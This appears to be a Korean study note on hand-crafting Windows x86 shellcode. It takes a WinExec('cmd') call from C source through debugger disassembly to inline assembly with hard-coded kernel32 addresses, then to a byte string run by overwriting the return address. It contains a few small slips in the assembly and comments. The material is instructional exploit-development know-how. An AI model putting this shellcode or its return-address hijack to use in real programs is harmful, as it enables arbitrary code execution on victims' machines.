shellcode

#include <windows.h>

void main()
{
 char buf[4];

 buf[0] = 'c';
 buf[1] = 'm';
 buf[2] = 'd';
 buf[3] = '\0';

 WinExec(buf, SW_SHOW);
 
 exit(1);
}

------------------------------------
exit()부근에 브포를 걸어주고 실행

00401010   push        ebp
00401011   mov         ebp,esp
00401013   sub         esp,44h
00401016   push        ebx
00401017   push        esi
00401018   push        edi
00401019   lea         edi,[ebp-44h]
0040101C   mov         ecx,11h
00401021   mov         eax,0CCCCCCCCh
00401026   rep stos    dword ptr [edi]
5:        char buf[4];
6:
7:        buf[0] = 'c';
00401028   mov         byte ptr [ebp-4],63h
8:        buf[1] = 'm';
0040102C   mov         byte ptr [ebp-3],6Dh
9:        buf[2] = 'd';
00401030   mov         byte ptr [ebp-2],64h
10:       buf[3] = '\0';
00401034   mov         byte ptr [ebp-1],0
11:
12:       WinExec(buf, SW_SHOW);
00401038   mov         esi,esp
0040103A   push        5
0040103C   lea         eax,[ebp-4]
0040103F   push        eax
00401040   call        dword ptr [__imp__WinExec@8 (0042413c)]
00401046   cmp         esi,esp
00401048   call        __chkesp (00401250)
13:
14:       exit(1);
0040104D   push        1
0040104F   call        exit (004010c0)
------------------------------------
불필요한 부분은 제거하고

#include <windows.h>

void main()
{

 __asm {
  push        ebp
  mov         ebp,esp
  // xor추가하고
  xor   ebx,ebx
  // end.
  push        ebx
  push        esi
  push        edi
  mov         byte ptr [ebp-4],63h
  mov         byte ptr [ebp-3],6Dh
  mov         byte ptr [ebp-2],64h
  //mov         byte ptr [ebp-1],0  <-- 삭제
  push        5
  lea         eax,[ebp-4]
  push        eax  mov         eax, 0x7C86136D
  call        eax
  push        1
  mov   eax, 0x7C81CDDA
  call  eax
 }
}
-----------------------------------
xor연산으로 \x90을 없애는 작업을 해준다.

Dependency Walker으로 call 부분을 수정해야한다.

KERNEL32.DLL  
IMAGE BASE : 0x7C800000

WINEXEC
ENTRY POINT: 0x0006136D

EXITPROCESS
ENTRY POINT: 0x0001CDDA

CALL WINEXEC: 0x7C800000 + 0x0006136D = 0x7C86136D
CALL EXITPORCESS : 0x7C800000 + 0x0001CDDA = 0x7C81CDDA

------------------------------------
디버깅환경에서 code bytes를 통해 바이너리 코드를
가져와서 보기 좋게 가공.
------------------------------------
#include <windows.h>

char shellcode[] = "\x55\x8B\xEC\x33\xDB\x53\x56\x57\xC6\x45"
          "\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64"
          "\x6A\x05\x8D\x45\xFC\x50\xB8\x6D\x13\x86"
          "\x7C\xFF\xD0\x6A\x01\xB8\xDA\xCD\x81\x7C"
          "\xFF\xD0";

void main()
{
 int *ret;
 ret = (int *)&ret+2;
 (*ret) = (int)shellcode;
}